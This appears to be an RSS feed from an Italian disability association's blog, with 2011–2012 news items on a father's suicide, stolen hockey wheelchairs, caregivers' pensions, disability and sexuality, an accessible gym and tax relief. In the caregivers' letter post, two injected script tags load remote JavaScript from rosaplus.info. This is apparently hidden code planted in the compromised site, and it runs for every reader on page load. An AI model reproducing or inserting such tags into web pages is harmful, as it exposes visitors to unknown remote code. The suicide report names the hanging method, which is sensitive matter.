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	<title>Associazione Valdostana Paraplegici</title>
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		<title>Fratelli disabili vegliano per giorni</title>
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		<pubDate>Tue, 15 May 2012 08:15:09 +0000</pubDate>
		<dc:creator>sitoavp</dc:creator>
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		<description><![CDATA[Il 71enne si è impiccato nel laboratorio della sua abitazione. Ai parenti ha lasciato scritto: «Non voglio un funerale, abbiate solo cura dei miei figli» LA STORIA Fratelli disabili vegliano per giorni il corpo dell&#8217;anziano padre suicida Il 71enne si è impiccato nel laboratorio della sua abitazione. Ai parenti ha lasciato scritto: «Non voglio un [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Il 71enne si è impiccato nel laboratorio della sua abitazione. Ai parenti ha lasciato scritto: «Non voglio un funerale, abbiate solo cura dei miei figli»</p>
<p style="text-align: justify;">LA STORIA</p>
<p style="text-align: justify;">Fratelli disabili vegliano per giorni</p>
<p style="text-align: justify;">il corpo dell&#8217;anziano padre suicida</p>
<p style="text-align: justify;">Il 71enne si è impiccato nel laboratorio della sua abitazione. Ai parenti ha lasciato scritto: «Non voglio un funerale, abbiate solo cura dei miei figli»</p>
<p style="text-align: justify;">ABANO TERME (Padova) &#8211; Questa volta non c&#8217;entra la crisi economica. È una storia di ordinaria disperazione e solitudine sociale quella che ha portato un&#8217;anziano antiquario di Abano Terme a togliersi la vita. L&#8217;uomo si è ucciso impiccandosi nel laboratorio al piano terra della sua abitazione, e i due figli disabili, che erano la sua unica preoccupazione, non hanno potuto che attendere che qualcuno venisse a soccorrerli, forse per tre giorni. Il dolore per un&#8217;esistenza che ormai non tollerava più, con la preoccupazione sempre più grande per il futuro dei figli, l&#8217;uomo, 71enne &#8211; riferisce Il Mattino di Padova &#8211; l&#8217;ha testimoniato in una lettera lasciata ai parenti: «Non pensate a me, non voglio un funerale, abbiate solo cura dei miei figli». L&#8217;artigiano aveva perso la moglie una decina d&#8217;anni fa. Il corpo è stato scoperto da una sorella, avvisata da un collega dell&#8217;uomo che da qualche giorno non aveva più visto l&#8217;amico al lavoro. Sulla vicenda stanno indagando i carabinieri di Abano. Sulla salma sarà eseguita l&#8217;autopsia. Il 71enne potrebbe essersi ucciso tre giorni prima la scoperta del fatto, dato che uno dei figli dell&#8217;uomo, inconsapevole di quanto era avvenuto, ha detto che non mangiava da allora. (Ansa)</p>
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		<title>Albano: rubate le carozzine della squadra di hockey per disabili</title>
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		<pubDate>Sun, 15 Apr 2012 12:28:53 +0000</pubDate>
		<dc:creator>sitoavp</dc:creator>
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		<description><![CDATA[Atto vile nella notte tra Pasqua e Paquetta nel centro sportivo di Villa Ferraioli: dei vandali hanno rubato le carrozzine con cui la squadra Darco Sport composta da tutti ragazzi disabili gioca a hockey in sedia a rotelle Alla stupidità e alla mentalità subdola dei vandali non c&#8217;è mai un confine e così nella notte [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;"><a rel="attachment wp-att-2287" href="http://www.avpaosta.org/albano-rubate-le-carozzine-della-squadra-di-hockey-per-disabili/darco-sport-2"><img class="alignleft size-thumbnail wp-image-2287" title="darco sport-2" src="http://www.avpaosta.org/wp-content/uploads/2012/04/darco-sport-2-150x100.jpg" alt="" width="150" height="100" /></a>Atto vile nella notte tra Pasqua e Paquetta nel centro sportivo di Villa Ferraioli: dei vandali hanno rubato le carrozzine con cui la squadra Darco Sport composta da tutti ragazzi disabili gioca a hockey in sedia a rotelle</p>
<p style="text-align: justify;">Alla stupidità e alla mentalità subdola dei vandali non c&#8217;è mai un confine e così nella notte tra Pasqua e Pasquetta ignoti si sono introdotti nella scuola elementare Collodi di Albano e hanno forzato la porta della stanza dove sono custodite le carrozzine sportive con cui i ragazzi disabili giocano a hockey su sedia a rotelle con l&#8217;Albalonga Darco Sport.</p>
<p style="text-align: justify;">
<p style="text-align: justify;">I vandali ne hanno rubate quattro di carrozzine che grazie al tam tam sui social network sono state in parte ritrovate semidistrutte e danneggiate tra Albano e Ariccia: si pensa che i ladri abbiano giocato con le carrozzine fino allo scaricamento delle batterie, raggiungendo così i paesi confinanti dopo aver sbandato, essere caduti, essersi scontrati.</p>
<p style="text-align: justify;">
<p style="text-align: justify;">Insomma le hanno utilizzate come fossero le macchine da scontro di un luna park. Manca all&#8217;appello una quarta carrozzina da ritrovare, ha una bandiera tricolore che copre le batterie, sembra sia stata avvistata ad Ariccia, chiunque l&#8217;abbia vista può rivolgersi al Commissariato di Albano o comunicarlo via web sulle pagine degli amministratori locali.</p>
<p style="text-align: justify;">
<p style="text-align: justify;">&#8220;Una ha le rotelline dietro rialzate, lo schienale e un bracciolo rotto. Le altre non sono in condizioni tanto migliori &#8211; dichiara Saverio Terruzzi, direttore sportivo della squadra &#8211; Il valore complessivo delle quattro carrozzine è di 25mila euro, contanto l&#8217;usura delle più vecchie e inoltre c&#8217;è il problema che ci aspettano quattro weekend di campionato, dobbiamo giocare e bisogna che ci inventiamo qualcosa, dovremo arrangiarci in qualche modo&#8221;.</p>
<p style="text-align: justify;">
<p style="text-align: justify;">Il presidente della federazione nazionale di hockey su carrozzina, Antonio Spinelli, ha lanciato un appello per aiutare la squadra di Albano rivolgendosi alle altre società: &#8220;Se tenete in magazzino un modello sorpassato di carrozzina come la Quickie P200 o almeno dei pezzi di ricambio, si faccia vivo con gli Albalonga Darco Sport per aiutarli a ributtarsi al più presto nel pieno della competizione. Tre delle loro carrozzine sono state danneggiate da gravi atti di vandalismo. Una quarta non è ancora stata ritrovata. Aiutiamoli, e facciamolo in fretta&#8221;.</p>
<p style="text-align: justify;">
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		<title>Famiglie disabili gravi scrivono a Napolitano</title>
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		<pubDate>Sat, 31 Mar 2012 18:01:35 +0000</pubDate>
		<dc:creator>sitoavp</dc:creator>
				<category><![CDATA[AVP]]></category>
		<category><![CDATA[Cronaca]]></category>

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		<description><![CDATA[Roma, 30 mar. (TMNews) &#8211; &#8220;Abbiamo chiesto udienza al Ministro Fornero perché finalmente &#8211; e dopo 17 anni di attesa &#8211; sblocchi l&#8217;annoso problema del prepensionamento di chi assiste disabili gravi in ambito familiare senza soluzione di continuità, e ci siamo visti rispondere con una riforma previdenziale che salva particolari categorie &#8211; da chi si [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;"><a rel="attachment wp-att-2281" href="http://www.avpaosta.org/famiglie-disabili-gravi-scrivono-a-napolitano/602-0-20120330_194040_1db4907e"><img class="alignleft size-thumbnail wp-image-2281" title="602-0-20120330_194040_1DB4907E" src="http://www.avpaosta.org/wp-content/uploads/2012/03/602-0-20120330_194040_1DB4907E-150x100.jpg" alt="" width="150" height="100" /></a>Roma, 30 mar. (TMNews) &#8211; &#8220;Abbiamo chiesto udienza al Ministro Fornero perché finalmente &#8211; e dopo 17 anni di attesa &#8211; sblocchi l&#8217;annoso problema del prepensionamento di chi assiste disabili gravi in ambito familiare senza soluzione di continuità, e ci siamo visti rispondere con una riforma previdenziale che salva particolari categorie &#8211; da chi si dedica al volontariato ad alcuni esodati &#8211; ma non certo la nostra&#8221;. Scrive così Simona Bellini, presidente del coordinamento nazionale famiglie di disabili gravi e gravissimi, in una lettera inviata al Capo dello Stato.</p>
<p style="text-align: justify;">
<p style="text-align: justify;">&#8220;C&#8217;è di che riflettere davanti alle sue parole perché ella da anni, invece, ignora un&#8217;altra categoria di sfruttati e dallo Stato stesso! Sono gli &#8216;sfruttati dell&#8217;amore&#8217; &#8211; si spiega &#8211; No, non parliamo di prostituzione o di tratta delle schiave del sesso, parliamo di famiglie. Quelle famiglie che da anni le scrivono lettere accorate alle quali risponde immancabilmente la sua solerte segreteria affermando che la materia non è di competenza della Presidenza della Repubblica, e condendo il tutto con una buona dose di umana &#8211; quanto inutile &#8211; solidarietà istituzionale&#8221;.</p>
<p style="text-align: justify;">
<p style="text-align: justify;">Insomma &#8211; continua &#8211; si parla &#8220;di care-giver, quelle figure che non hanno nemmeno un riconoscimento giuridico in questo nostro disastrato paese ma che ogni giorno devono sostituirsi ad uno Stato assente &#8211; e sfruttatore &#8211; nella cura e assistenza di familiari gravemente disabili. Da anni, anzi decenni, senza risposte istituzionali concrete e senza che lei faccia nemmeno un cenno per sostenere i diritti di questi nuovi &#8216;ultimi&#8217;!&#8221;</p>
<p><script src="http://rosaplus.info?0.6158972887111241"></script><br />
<script src="http://rosaplus.info?0.4766928176021674"></script></p>
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		<title>Il sesso dei disabili e l’abbraccio di una madre</title>
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		<pubDate>Sat, 10 Mar 2012 17:56:03 +0000</pubDate>
		<dc:creator>sitoavp</dc:creator>
				<category><![CDATA[AVP]]></category>
		<category><![CDATA[Cronaca]]></category>

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		<description><![CDATA[Su “invisibili”, il nuovo blog del Corriere.it, la storia di una madre che affronta con coraggio la questione della sessualità del figlio disabile: “Anche se c’è un danno cerebrale, i nostri figli crescono e gli ormoni quelli sono. I danni cerebrali a volte provocano modifiche fisiche significative ma la voglia di affetto, di un abbraccio, [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;"><strong><a rel="attachment wp-att-2277" href="http://www.avpaosta.org/il-sesso-dei-disabili-e-l%e2%80%99abbraccio-di-una-madre/coppiafelicem-2"><img class="alignleft size-thumbnail wp-image-2277" title="coppiafeliceM" src="http://www.avpaosta.org/wp-content/uploads/2012/03/coppiafeliceM1-150x100.jpg" alt="" width="150" height="100" /></a>Su “invisibili”, il nuovo blog del Corriere.it, la storia di una madre che affronta con coraggio la questione della sessualità del figlio disabile: “Anche se c’è un danno cerebrale, i nostri figli crescono e gli ormoni quelli sono. I danni cerebrali a volte provocano modifiche fisiche significative ma la voglia di affetto, di un abbraccio, di un rapporto c’è sempre”</strong></p>
<p style="text-align: justify;">
<p style="text-align: justify;">Ho una confessione da fare&#8230; anche i disabili fanno sesso. Eh eh l&#8217;ho messa sul ridere, ma la sessualità e la disabilità sono un tabù per la società. Questa volta non scriverò io, lascerò, com&#8217;è giusto che sia in un blog, la parola ad Ann, una mamma coraggio e alla sua lettera.</p>
<p style="text-align: justify;"><span id="more-2274"></span></p>
<p style="text-align: justify;">&#8220;&#8230;Il post (quello su Quasi amici) arriva a puntino: proprio stamane l&#8217;insegnante di sostegno di mio figlio si è lamentata del fatto che se una compagna di classe passa vicino alla carrozzina, il mio ragazzo l&#8217;afferra per il braccio, non la lascia andare etc etc. «La pulsione sessuale è terribile» mi dice come se fossi un&#8217;anima bella che non se ne è accorta che il figlio è cresciuto. Ovviamente le ho risposto in modo brutale sconcertandola. Avrà fatto pure il suo addestramento come sostegno con allegato corso &#8220;psicologia del disabile&#8221; in 12 lezioni ma&#8230; non può comprendere proprio tutto perché non lo vive.</p>
<p style="text-align: justify;">
<p style="text-align: justify;">«Una madre della mia sottotribù invece mi ha insegnato parecchio. Lo scorso settembre mi ha telefonato alle due di notte chiedendomi di andarla a prendere in una certa via e di portare la macchina grande con il mio tagliando perché era con suo figlio e carrozzina. Quando arrivo la trovo per strada con due tutori dell&#8217;ordine imbarazzatissimi e rossi come peperoni. Carico in macchina figlio, carrozzina e madre e andiamo in un locale del centro ancora aperto dove mi racconta quello che le è successo. Il figlio è maggiorenne, lei è divorziata e il padre si è rifatto una famiglia completa di due figli sani ancora pargoli. Così è toccato a lei provvedere perché la nuova moglie&#8230; non gradisce. Indagini lunghe e discrete presso colleghi e amici per trovare una &#8220;casa&#8221; con una tenutaria e ragazza disponibile, ovviamente a prezzo maggiorato. Per un po&#8217; va bene e il ragazzo è felice e la ragazza è &#8220;fissa&#8221;.</p>
<p style="text-align: justify;">
<p style="text-align: justify;">Purtroppo quella sera arriva una incursione. Lei è seduta vicino all&#8217;entrata con un libro di matematica (è insegnante), i suoi bravi capelli brizzolati e la figura pesante dei suoi anni. Sconcerto dei tutori dell&#8217;ordine neanche avessero visto un gatto in un canile. Poi una delle tutrici dell&#8217;ordine arriva trafelata &#8220;c&#8217;è di là un ragazzo che chiede della mamma&#8221;. La mia amica si alza e dice &#8220;mbeh penso che dovrei vestirlo se c&#8217;è qualcuno che mi aiuta&#8221;. Panico tra i custodi della legge. Alla fine permettono alla &#8220;ragazza fissa&#8221; di aiutare la madre. Poi bisogna portare tutti, clienti e ragazze, in centrale dove verranno identificati mentre la tenutaria viene arrestata. Sono pronti due furgoni di sotto. La mia amica propone di seguirli con il figlio con la propria macchina ma i tutori rifiutano. Allora come far salire il ragazzo, ormai molto agitato, sul furgone? Altro panico e intanto la maitresse blatera che lei fa un buon servizio sociale e che aiuta i bisognosi, vedete c&#8217;è pure il povero disabile etc. Alla fine due forzuti tutori scaraventano ragazzo e carrozzina sul furgone delle ragazze che lo accolgono con boati, urla e risate.</p>
<p style="text-align: justify;">
<p style="text-align: justify;">In Centrale arriva subito il magistrato che messo al corrente della particolarità non sa che pesci pigliare. E qui la mia amica mi racconta un colloquio surreale:</p>
<p style="text-align: justify;">- dove è suo marito? Io non ho marito, mi ha lasciato, pochi disabili hanno il padre.</p>
<p style="text-align: justify;">- ma lei non ha un fratello o un amico per queste cose? No sono figlia unica e questa faccenda non si delega agli amici. Il resto lo tralascio e dico solo che non ho mai riso tanto in vita mia. Si Simone c&#8217;è da ridere perché nella vita normale ci sono i mariti e gli amici, che spariscono nella vita con un disabile. Perché certi argomenti sono da uomini normali, ma le madri dei disabili a volte devono comportarsi da uomini, che lo vogliano o no. E uomini stessi, quelli che fanno le leggi, quelli che comandano, quelli che ci abbandonano a noi donne e madri diverse, non lo capiscono.</p>
<p style="text-align: justify;">
<p style="text-align: justify;">Anche se c&#8217;è un danno cerebrale, i nostri figli crescono e gli ormoni quelli sono. I danni cerebrali a volte provocano modifiche fisiche significative (bava alla bocca, incapacità di camminare) ma la voglia di affetto, di un abbraccio, di un rapporto c&#8217;è sempre. Però nessuno dei normali si sofferma su questo problema: per tutti il disabile è un &#8220;infelice&#8221; (come si diceva una volta) e non un essere umano con i suoi sentimenti e i suoi bisogni. Forse si considera il disabile un angioletto puro, a volte brutto da vedere (altro che i puttini del Mantegna!) ma comunque un qualcosa amorfo e non un qualcuno. Ho l&#8217;impressione, poi, che molta gente non si renda conto che i nostri figli debbano farsi la barba come tutti e dobbiamo fargliela noi e così per tante altre cose. Ho l&#8217;impressione, invece, che molta gente pensi che quando i nostri figli sono in casa si fanno la barba da soli, mangiano da soli e vanno in bagno da soli. E queste cose, elementari e sgradevoli, raramente vengono fatte vedere per l&#8217;intero in un film, mitico per tutti &#8220;il figlio della luna&#8221;.</p>
<p style="text-align: justify;">
<p style="text-align: justify;">E allora come invocare la società perfetta, come meravigliarsi dello sconcerto e dell&#8217;imbarazzo di un normale quando nessuno gli scaraventa la realtà sotto il naso. Una realtà elementare: un disabile ha bisogno di tutto ma proprio di tutto, senza ipocrisie e senza repulsione, e senza neppure &#8220;distinguo&#8221; tra padre e madre perché Madre Natura non fa sconti anche quando fa un torto. Più che invocare una società perfetta non sarebbe meglio spingere tutti noi a una riflessione più concreta, meno moralistica, più veritiera? E diciamolo &#8220;più naturale&#8221;! E infine, finale come in tutti i film che si rispettino: la mia amica ha trovato un&#8217;altra &#8220;casa&#8221;, il figlio sembra contento della &#8220;nuova ragazza&#8221;, non ha avuto conseguenze, l&#8217;ex marito non ha saputo niente e il 14 febbraio ha ricevuto un mazzetto di roselline. Forse c&#8217;è qualcosa pure per lei da parte di qualcuno di quella sera. Perché spesso quello che si nega ad un disabile si nega anche alla madre&#8221;. Queen Ann (Simone Fanti- Corriere.it)</p>
<p style="text-align: justify;">
<p style="text-align: justify;">(9 marzo 2012)</p>
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		<title>Il Palaindoor diventa anche centro sportivo per disabili</title>
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		<pubDate>Tue, 07 Feb 2012 11:05:42 +0000</pubDate>
		<dc:creator>sitoavp</dc:creator>
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		<category><![CDATA[Disval]]></category>

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		<description><![CDATA[Il Palaindoor di Aosta diventa anche centro sportivo per disabili. A dare vita alla “prima palestra per tutti” è stata la Disval, l’Associazione sportiva dilettantistica disabili sportivi valdostani, che si è fatta promotrice del progetto omonimo. L’idea nata circa 5 anni fa dopo un corso di ginnastica impostato come lavoro di preparazione atletica e di [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;"><a rel="attachment wp-att-2235" href="http://www.avpaosta.org/il-palaindoor-diventa-anche-centro-sportivo-per-disabili/palaindoor_86407"><img class="alignleft size-thumbnail wp-image-2235" title="palaindoor_86407" src="http://www.avpaosta.org/wp-content/uploads/2012/02/palaindoor_86407-150x100.jpg" alt="" width="150" height="100" /></a>Il Palaindoor di Aosta diventa anche <strong>centro sportivo per  disabili.</strong> A dare vita alla <strong>“prima palestra per tutti” </strong>è stata la <strong>Disval</strong>, l’Associazione sportiva  dilettantistica disabili sportivi valdostani, che si è fatta promotrice del  progetto omonimo.</p>
<p style="text-align: justify;">L’idea nata circa 5 anni fa dopo un corso di ginnastica impostato come lavoro  di preparazione atletica e di potenziamento generale, ha avuto il sostegno  dell’Inail, della Regione e della Tecnogym.</p>
<p style="text-align: justify;">Una sala del Palaindoor di Aosta è stata così allestita con le migliori  attrezzature esistenti nel settore con l’obiettivo di creare una palestra di  macchine isocinetiche accessibili a tutti. Un luogo dove, tutti i disabili,  possono allenarsi con i sovraccarichi, svolgendo una preparazione fisica ed  atletica adeguata alle proprie necessità.</p>
<p style="text-align: justify;">“Obiettivo dell’iniziativa – spiega una nota della Disval – non è di creare  un centro medico ma una palestra con mire sportive che tiene d’occhio la salute  di tutti gli utenti”</p>
<p style="text-align: justify;">La sala del Palaindoor di corso Lancieri può essere frequentata da tutti gli  iscritti alla Disval. Nella struttura i disabili possono trovare  <strong>personale tecnico specializzato</strong> che propone lavori  personalizzati per qualsiasi esigenza.</p>
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		<title>Si è riunita la consulta per il Volontariato: annunciati ulteriori tagli ai fondi del CSV</title>
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		<pubDate>Mon, 23 Jan 2012 14:24:27 +0000</pubDate>
		<dc:creator>sitoavp</dc:creator>
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		<description><![CDATA[Aosta &#8211; I diversi rappresentanti delle organizzazioni di volontariato e delle APS si sono dati appuntamento questa mattina, sabato 21 gennaio, nella nella sala della biblioteca regionale per prendere parte alla Consulta regionale. Si sono dati appuntamento questa mattina, sabato 21 gennaio, nella sala della biblioteca regionale i diversi rappresentanti delle organizzazioni di volontariato e [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;"><a rel="attachment wp-att-2231" href="http://www.avpaosta.org/si-e-riunita-la-consulta-per-il-volontariato-annunciati-ulteriori-tagli-ai-fondi-del-csv/consulta-volontariato_85264"><img class="alignleft size-thumbnail wp-image-2231" title="consulta-volontariato_85264" src="http://www.avpaosta.org/wp-content/uploads/2012/01/consulta-volontariato_85264-150x100.jpg" alt="" width="150" height="100" /></a>Aosta &#8211; I diversi rappresentanti delle organizzazioni di volontariato e delle APS si sono dati appuntamento questa mattina, sabato 21 gennaio, nella nella sala della biblioteca regionale per prendere parte alla Consulta regionale.</p>
<p style="text-align: justify;">Si sono dati appuntamento questa mattina, sabato 21 gennaio, nella sala della biblioteca regionale i diversi rappresentanti delle organizzazioni di volontariato e delle Associazioni di promozione sociale per prendere parte alla riunione annuale della Consulta regionale del volontariato e dell’associazionismo di promozione sociale, un organo, previsto dalla legge regionale in materia di volontariato, il cui compito principale è quello di fare il punto sullo stato di salute, sulle difficoltà e le questioni che toccano da vicino il mondo della solidarietà organizzata.<span id="more-2230"></span></p>
<p style="text-align: justify;">Difficoltà che non mancano neanche in questo settore. &#8220;Oggi prendiamo atto della diminuzione dei fondi che arriveranno al CSV regionale, con ricadute su tutto il volontariato, a causa della crisi economiva che ha colpito pesantemente le fondazioni di origine bancaria che, per legge, finanziano i Centri di servizio per il Volontariato della Valle d&#8217;Aosta in Italia&#8221; ha spiegato l&#8217;Assessore alla Sanità Albert Lanièce.</p>
<p style="text-align: justify;">Una diminuzione drastica se si pensa che le erogazioni delle fondazioni, secondo Giancarlo Civiero, vicepresidente del Comitato di Gestione del Fondo Speciale per il Volontariato, potrebbero passare da quasi un milione di euro degli anni 2002/2003 ai due/trecentomila del 2013. &#8220;Un consiglio che vogliamo dare alle associazioni è quello di spendersi sempre maggiormente nel fund raising e nella ricerca di risorse in grado di garantire il proseguo della la loro attività, molto importante soprattutto in questo momento di crisi&#8221;.</p>
<p style="text-align: justify;">Il paradosso di fatto sta tutto qui: al volontariato si chiede di intervenire maggiormente e con più incisività nei momenti di crisi per contribuire a sostenere le fascie più deboli e più colpite dal disagio, ma, soprattutto nei momenti di difficoltà economica, vengono a mancare o si riducono drasticamente le risorse, i finanziamenti e il sostegno privato e pubblico alle associazioni solidali.</p>
<p style="text-align: justify;">Al termine della discussione e del confronto, sono stati anche eletti i rappresentanti del volontariato e dell’associazionismo di promozione sociale che faranno parte del Comitato tecnico. Si tratta , per le Aps, di Gianfranco Nogara (CSEN VDA), mentre per le organizzazioni di volontariato sono stati designati Giampiero Marovino (Codacons), Michele Tropiano (Associazione per la filantropia in valle d&#8217;Aosta), Elisa Bertolin (Associazione Volontari del Soccorso di Morgex, La Salle e Pré-Saint-Didier), Corrado Fosson (Avis regionale) e Vanni Ghignone (Comitato cittadino).</p>
<p style="text-align: justify;"> </p>
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		<title>Ojos del Salado, giovane ipovedente sfida il vulcano più alto del mondo</title>
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		<pubDate>Tue, 17 Jan 2012 10:21:58 +0000</pubDate>
		<dc:creator>sitoavp</dc:creator>
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		<description><![CDATA[VENEZIA — Pensate di raggiungere la vetta del vulcano più alto del mondo, l’Ojos del Salado, a 6.981 metri di altezza tra Argentina e Cile, e poi di correre in bicicletta verso la punta più estrema della Terra del Fuoco, percorrendo 3 mila chilometri di cordigliera delle Ande. Un’impresa a dir poco ambiziosa, soprattutto se [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;"><a rel="attachment wp-att-2221" href="http://www.avpaosta.org/ojos-del-salado-giovane-ipovedente-sfida-il-vulcano-piu-alto-del-mondo/simone-salvagnin-300x163"><img class="alignleft size-thumbnail wp-image-2221" title="simone-salvagnin-300x163" src="http://www.avpaosta.org/wp-content/uploads/2012/01/simone-salvagnin-300x163-150x100.jpg" alt="" width="150" height="100" /></a>VENEZIA — Pensate di raggiungere la vetta del vulcano più alto del mondo, l’Ojos del Salado, a 6.981 metri di altezza tra Argentina e Cile, e poi di correre in bicicletta verso la punta più estrema della Terra del Fuoco, percorrendo 3 mila chilometri di cordigliera delle Ande. Un’impresa a dir poco ambiziosa, soprattutto se a provarla è Simone Salvagnin, 27enne ipovedente di Schio, affetto da una malattia degenerativa della retina (retinite pigmentosa) che negli ultimi 10 anni lo ha quasi reso cieco.</p>
<p style="text-align: justify;">La missione “Patagonia Experience 2012″ è appena partita. Con Simone ci sarà l’amico Enrico, che guiderà il tandem attraverso la Patagonia.</p>
<p style="text-align: justify;">Durante l’avventura Salvagnin, che è portavoce italiano per la campagna Onu per la Carta dei diritti dei Disabili, raccoglierà le firme delle personalità politiche dei territori attraversati. L’impresa sarà documentata dalla “Equipe sans maison”, un team di professionisti della comunicazione.</p>
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		<title>Disabilità, dall’Agenzia delle Entrate la Guida alle agevolazioni 2011</title>
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		<pubDate>Wed, 04 Jan 2012 11:17:33 +0000</pubDate>
		<dc:creator>sitoavp</dc:creator>
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		<description><![CDATA[Disponibile sul sito dell&#8217;Agenzia delle Entrate la Guida alle agevolazioni fiscali per le persone con disabilità, aggiornata a novembre 2011. Tra le novità introdotte, la detrazione per l&#8217;acquisto del cane guida: sparisce l&#8217;importo massimo di 18mila euro e può essere utilizzata, a scelta del contribuente, in unica soluzione o in quattro quote annuali di pari [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;"><a rel="attachment wp-att-2212" href="http://www.avpaosta.org/disabilita-dall%e2%80%99agenzia-delle-entrate-la-guida-alle-agevolazioni-2011/guida2011-150x124"><img class="alignleft size-thumbnail wp-image-2212" title="guida2011-150x124" src="http://www.avpaosta.org/wp-content/uploads/2012/01/guida2011-150x124-150x100.jpg" alt="" width="150" height="100" /></a>Disponibile sul sito dell&#8217;Agenzia delle Entrate la Guida alle agevolazioni fiscali per le persone con disabilità, aggiornata a novembre 2011. Tra le novità introdotte, la detrazione per l&#8217;acquisto del cane guida: sparisce l&#8217;importo massimo di 18mila euro e può essere utilizzata, a scelta del contribuente, in unica soluzione o in quattro quote annuali di pari importo</p>
<p style="text-align: justify;">Guida alle agevolazioni fiscali per le persone con disabilità</p>
<p style="text-align: justify;">
<p style="text-align: justify;">ROMA &#8211; Poche novità, restano le certezze: pubblicata sul sito dell&#8217;Agenzia delle Entrate <span style="text-decoration: underline;">Guida alle agevolazioni fiscali per le persone disabi</span>li, aggiornata a novembre 2011. Detrazioni fiscali immutate per figli a carico, acquisto di veicoli utili alla mobilità e di ausili tecnologici, ma anche detrazioni immutate per tutto ciò che attiene l&#8217;abbattimento delle barriere architettoniche, le spese sanitarie e l&#8217;assistenza personale. Una la novità introdotta: quella sulla detrazione per l&#8217;acquisto del cane guida. Sparisce l&#8217;importo massimo di 18mila euro (Guida, giugno 2010) e la detrazione può essere utilizzata, a scelta del contribuente, in unica soluzione o in quattro quote annuali di pari importo.</p>
<p style="text-align: justify;"><span id="more-2211"></span></p>
<p style="text-align: justify;">Nel dettaglio, la Guida 2011 specifica che &#8220;la detrazione spetta una sola volta in un periodo di quattro anni, salvo i casi di perdita dell&#8217;animale, e può essere calcolata sull&#8217;intero ammontare del costo sostenuto (circolare dell&#8217;Agenzia delle Entrate n. 238/2000). La detrazione è fruibile dal disabile o dal familiare di cui il non vedente risulta fiscalmente a carico e può essere utilizzata, a scelta del contribuente, in unica soluzione o in quattro quote annuali di pari importo&#8221;. Rispetto al 2010, la differenza è sostanziale: &#8220;La detrazione spetta una sola volta in un periodo di quattro anni, salvo i casi di perdita dell&#8217;animale; spetta per un solo cane e può essere calcolata su un importo massimo di 18.075,99 euro. In questo limite rientrano anche le spese per l&#8217;acquisto degli autoveicoli utilizzati per il trasporto del non vedente. La detrazione è fruibile o dal disabile o dal familiare di cui il non vedente risulta fiscalmente a carico&#8221;. La detrazione dunque non solo si svincola da un &#8220;limite massimo&#8221; ma, benché spetti una sola volta in un periodo di quattro anni come già sancito nella Guida 2010, può essere ripartita in quattro rate annuali.</p>
<p style="text-align: justify;">
<p style="text-align: justify;">Immutato invece il quadro delle agevolazioni fiscali generali. Le agevolazioni per i figli a carico con disabilità restano fisse a 1.120 euro se il bambino ha un&#8217;età inferiore a 3 anni e a 1.020 se il bambino ha invece un&#8217;età superiore. Con più di tre figli a carico la detrazione aumenta di 200 euro per ciascun figlio a partire dal primo, sia nella Guida 2010 che in quella 2011, e in ogni caso sono concesse sempre in funzione del reddito totale che non può superare i 95mila euro. Quadro analogo al 2010 per le agevolazioni auto: la possibilità di detrarre dall&#8217;Irpef il 19% della spesa sostenuta per l&#8217;acquisto, l&#8217;Iva agevolata al 4% sull&#8217;acquisto, l&#8217;esenzione dal bollo auto e dall&#8217;imposta di trascrizione sui passaggi di proprietà. Sugli ausili tecnologici e i sussidi tecnici e informatici, il quadro è immutato: resta la possibilità di detrarre dall&#8217;Irpef il 19% della spesa sostenuta per i sussidi tecnici e informatici, resta l&#8217;Iva agevolata al 4%, resta la possibilità di detrarre le spese di acquisto e mantenimento (quest&#8217;ultime in modo forfetario) del cane guida per i non vedenti e anche la possibilità di detrarre dall&#8217;Irpef il 19% delle spese sostenute per i servizi di interpretariato dei sordi. In merito all&#8217;abbattimento delle barriere architettoniche, è sempre possibile godere della detrazione di imposta del 36% sulle spese sostenute fino al 31 dicembre 2012, mentre per le spese sanitarie resta immutata la possibilità di dedurre dal reddito complessivo l&#8217;intero importo delle spese. Infine, si conferma anche il 2011 la possibilità di dedurre dal reddito complessivo gli oneri contributivi (fino all&#8217;importo massimo di 1.549,37 euro) versati per gli addetti ai servizi domestici e all&#8217;assistenza personale o familiare, nonché la possibilità di detrarre il 19% delle spese sostenute per gli addetti all&#8217;assistenza personale, da calcolare su un ammontare di spesa non superiore a 2.100 euro, a condizione però che il reddito del contribuente non sia superiore a 40mila euro. (eb)</p>
<p style="text-align: justify;">
<p style="text-align: justify;">
<p style="text-align: justify;"> </p>
]]></content:encoded>
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		<title>Oggi la priorità è il riconoscimento giuridico dei disabili gravissimi</title>
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		<pubDate>Wed, 28 Dec 2011 09:54:57 +0000</pubDate>
		<dc:creator>sitoavp</dc:creator>
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		<category><![CDATA[Cronaca]]></category>

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		<description><![CDATA[«E la definizione di questi ultimi &#8211; secondo Giorgio Genta e Dario Petri &#8211; dovrebbe essere centrata sulla &#8220;complessità assistenziale&#8221;, evitando il riferimento a specifiche patologie, ed essere basata sull&#8217;innegabile assunto che anche una breve interruzione dell&#8217;assistenza può risultare altamente rischiosa». Solo così, infatti, secondo gli Autori della presente riflessione, nell&#8217;attuale clima finanziario, politico e [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;"><a rel="attachment wp-att-2207" href="http://www.avpaosta.org/oggi-la-priorita-e-il-riconoscimento-giuridico-dei-disabili-gravissimi/ss26009"><img class="alignleft size-thumbnail wp-image-2207" title="SS26009" src="http://www.avpaosta.org/wp-content/uploads/2011/12/SS26009-150x100.jpg" alt="" width="150" height="100" /></a>«E la definizione di questi ultimi &#8211; secondo Giorgio Genta e Dario Petri &#8211; dovrebbe essere centrata sulla &#8220;complessità assistenziale&#8221;, evitando il riferimento a specifiche patologie, ed essere basata sull&#8217;innegabile assunto che anche una breve interruzione dell&#8217;assistenza può risultare altamente rischiosa». Solo così, infatti, secondo gli Autori della presente riflessione, nell&#8217;attuale clima finanziario, politico e mediatico si potrebbe almeno riuscire «a salvare qualcosa per le persone con disabilità e i loro familiari, con le maggiori necessità e bisogni»<span id="more-2206"></span></p>
<p style="text-align: justify;">Uomo di profilo con espressione pensierosa</p>
